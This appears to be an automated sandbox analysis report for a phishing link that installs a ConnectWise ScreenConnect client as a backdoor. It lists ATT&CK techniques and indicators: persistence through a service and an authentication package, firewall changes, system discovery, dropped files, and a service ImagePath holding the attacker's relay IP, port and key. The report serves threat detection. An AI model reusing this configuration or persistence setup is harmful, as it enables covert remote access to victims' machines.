hxxps://shoutout[.]wix[.]com/so/32Q2BeNTJ/c?w=jDCxOV0VEm9kICIb77LMlXmSC1eneaC-t2_glGWMblg[.]eyJ1IjoiaHR0cHM6Ly9zYWludGZpbGVkb3hwYXllc2VuLmFqb2xvYWpvbG9iYW50ZmlsZS50b3AvMzc0NmFkb2JlNDY0ODQiLCJyIjoiN2U4OTI1YmUtYjdjOC00OTM1LWIxZGEtZWQ3YTlhMzhjMjlhIiwibSI6ImxwIn0

Disable or Modify System Firewall

T1562.004

pid	Process
792	netsh.exe
1164	netsh.exe
960	netsh.exe
4288	netsh.exe
2336	netsh.exe
3044	netsh.exe
2656	netsh.exe
5268	netsh.exe
4132	netsh.exe
3188	netsh.exe
3156	netsh.exe
252	netsh.exe
1436	netsh.exe
4508	netsh.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (cb7c65bdb18c620d)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (cb7c65bdb18c620d)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=192.227.128.184&p=8041&s=f4ab79a3-0321-4eae-a333-b917a153a6db&k=BgIAAACkAABSU0ExAAgAAAEAAQDNCgiNwUUYaTj%2fNmPdvV36Cq5CBIzwdaTbFD6zU3K1gEVq6gWdDFfkdSkP1uUwThfHRB33jBmEkwKlj70bf1QoJbqwRTrBcTopcJldEMrTp56gltoe9B67eJGRt4hbvlrTOGRKh4C1HSYlP4tLb576E1cvZfa6uk5%2bVmQ64sOXyKExRCXPu6W3bMau2LbPXS%2fpmJq80w%2bUk%2f8hkWE4YKAi98VyeSE1a1PYjlTuYaScDYxT0YUFdjSxxtRj64Io7cF2rKteIOJxn6SpV%2fb2dAjk5VXZR71DXFiQtWwtYrqlZZhialbHxXNQarKzmuJn11nly0PUycOLJUrk%2flOCPky7&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAEsjk1zeWnkyIF0caYggAXwAAAAACAAAAAAAQZgAAAAEAACAAAADYioGUKf6HXEKiap0B%2flUe3VbEIeOlBYxhib%2feokPcpwAAAAAOgAAAAAIAACAAAACBmGmSjgPp0sMvuF8s7HZoNsXAfr%2br4qLkfD1uCuJZSqAEAAA%2bKysIwJaTwuq4Le33P1PjLpXPYGNrLEgmg%2bGaMfpJRSQoCJdfPPXwYh78U6wc2TD2bI%2fcNmPjcE3NCBag0XFHemXtTl9UndVLyzqre%2fCW%2f%2f2zmZM9UMc0cxrMQz2%2btbr8dyiVexVSnkW2Lz6zSA%2bb0FtPtGpW47wER%2bycc2tcv%2bXOWzIlfz9bDo4TZ5dV9GVt3e2PaSFZvEpW%2bkN4xrXVpXGakVjdgTLmFZlte6k5HHaHQ8BgkXXxNv%2bUMNE3kjTDL2mdCq914JPvP9EkDizYXUsoQLSeG0C6g5ant8uHdhjy4NrcNN2IshvCs4uEXIiVQeeOTQyNIZ0pOqba7woOKSu7ry0pE7MjMJysx9cgzVrHRggomRTUstD5ele9kWljSV%2fenApfrTT8XUuqymPv8w4OtwVZ%2f7VZgdEAnMyUvS8x6%2fj3Tk2eiUpCyQmcYm0yWO9cvXb5SxRtEjDtILHFJ409mizimG5OCUwujR4ntYIIE%2ffvPLZ0mTEz%2bfB6keHG%2bXEWxZyzZ4KgCBJ1AIyuslppbYbYjilOejxEtnTyS9fTC7DMsfiGA2s%2fxGFNWMkWL5BrNJPMxFBPuExfgsE2eENNatXhGxQlCEumNcF6zuV%2fobdRxQu70gTS6ctVce8T%2b4UAe58a1JM5iTK7nLgIcZ%2bTqTraC9XGWgB%2bGOxzxC0W0GF4T30FCVRdcMsmp416yWkx%2fSGwry9L8fntciI8O5jO2QJlcC8Xi2ACXisWtWmVkzHvNCjnYyHPsGHgriidV9VpvmaKlf4Y135RIWyRQbLhtXLdm26KJDV0DXMOoqy%2bZrlirh3NwYrb%2bsJ%2f1IAmZ1ChdgOi5ps1MFdykCbo6qfCNenSz7XGoNZRSFt506zX8uJFXLYOlcwbzlQDxA%2fn3AiHOkPy4jvo4sJoyVwW4dVj8GQBGfuTmav9MqeDeWMjc1dtisvEGXWVhn6nnT7qz81l6MNBVdz7STNsPY74VCv7XmRLQ8IlEcQtBTRZDee%2bq0kjbLcDw3V%2fHbHGcmgjDs%2bnqd5OiQJflinwqmES6JsZhPQFeQTMWCTjCPDBRah%2fKpFB6QFJSJ1FLOA35ydin4t2A0s2tjQak%2bomYT%2f0dWC0Vx%2bia2A8DzkvUpqSZqhqEgH2MrYST8TeKXzElu%2fBlao6%2fux3IXfdFqO%2fjhvI05RYb0mv1v3cjYwe3NFzazEmDjp%2bvMatIuc%2fYqKXZihK8AoIYCp26g9PjS7DLor1mEgUUd%2fz%2fxW2qGqvZZcrDJ1%2be9VFxDrNPHYRcOktIB%2bg575IXr8SZwugLgX7DKfdwybjYtc9I8WpN1PChK0%2fe6VTahv4imndCE9zluq6h5DcR6AZpONKSrZgV7RwF1BdwpsxYn3VaxR5dD7fimSNTJVBWkyiGPAfFbQAoeKiwcWNiRSDWcL4AhkK%2br8dzAUDbXPW2TukdjjzInGHL7L1ZIWq6M3lYOdKYmP%2bqtEXj4%2fGVOphQQHl7Z65HpS1aLQlCetnOj5tpD3bDFGlYpBbq4PSRX%2fQ08zwhDty%2fdGf43kzhUQ1ABPOoX0LqRDkp%2bWesZXw33b7HPJ7IRi6BZSh%2fUAAAACJECuP9x4CL75yml15Csl%2b04V4ZaDFb%2bhqz21F68mNVEfKQkO3G0MDXUJgIukzQxGOGIXaIYQbca%2fpw9LFChXh\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 3 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/files/0x000300000001875b-411.dat	revoked_cert_connectwise
behavioral1/memory/5560-445-0x0000000004300000-0x00000000043D2000-memory.dmp	revoked_cert_connectwise
behavioral1/memory/880-455-0x000000001C010000-0x000000001C0E2000-memory.dmp	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
5560	ScreenConnect.ClientService.exe
880	ScreenConnect.WindowsClient.exe
4836	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
4716	MsiExec.exe
4696	rundll32.exe
4696	rundll32.exe
4696	rundll32.exe
4696	rundll32.exe
4696	rundll32.exe
4696	rundll32.exe
4696	rundll32.exe
4696	rundll32.exe
4696	rundll32.exe
4716	MsiExec.exe
2860	MsiExec.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe
5560	ScreenConnect.ClientService.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5800	powershell.exe
5252	powershell.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
97	ipapi.co
98	ipapi.co
99	ipapi.co

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800630062003700630036003500620064006200310038006300360032003000640029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cb7c65bdb18c620d)\knsfwzpd.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cb7c65bdb18c620d)\knsfwzpd.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsFileManager.exe	msiexec.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{293F21FA-F123-CA13-F3A5-9217D43C863C}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{293F21FA-F123-CA13-F3A5-9217D43C863C}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF301E61ECF16474AB.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEC8.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a04a9.msi	msiexec.exe
File created	C:\Windows\Installer\e5a04a5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a04a5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\SystemTemp\~DF33C398415BB0CF1C.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE6A.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{293F21FA-F123-CA13-F3A5-9217D43C863C}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFF2.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF10BA524DDFB32687.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3BE497D4A2ED5544.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI679.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{293F21FA-F123-CA13-F3A5-9217D43C863C}	msiexec.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3548	sc.exe
2324	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 42 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4936	cmd.exe
2400	cmd.exe
3960	cmd.exe
3568	cmd.exe
4132	cmd.exe
260	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1304	msedge.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
5540	timeout.exe
6004	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
5084	taskkill.exe
880	taskkill.exe
3424	taskkill.exe
260	taskkill.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134335311378545606"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 40 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\sc-cb7c65bdb18c620d\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-cb7c65bdb18c620d\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\AF12F392321F31AC3F5A29714DC368C3\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect_4235_08.18\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-cb7c65bdb18c620d\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-AE42-97844F66936F}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\ProductName = "ScreenConnect Client (cb7c65bdb18c620d)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-AE42-97844F66936F}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (cb7c65bdb18c620d)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-cb7c65bdb18c620d\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (cb7c65bdb18c620d)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E2D91B9EDC9C05E6BCC756DB1BC826D0	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-cb7c65bdb18c620d\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-cb7c65bdb18c620d	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-cb7c65bdb18c620d\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\PackageCode = "AF12F392321F31AC3F5A29714DC368C3"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-cb7c65bdb18c620d\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-AE42-97844F66936F}\ = "ScreenConnect Client (cb7c65bdb18c620d) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-AE42-97844F66936F}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\Version = "402849799"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\AF12F392321F31AC3F5A29714DC368C3\ProductIcon = "C:\\Windows\\Installer\\{293F21FA-F123-CA13-F3A5-9217D43C863C}\\DefaultIcon"	msiexec.exe
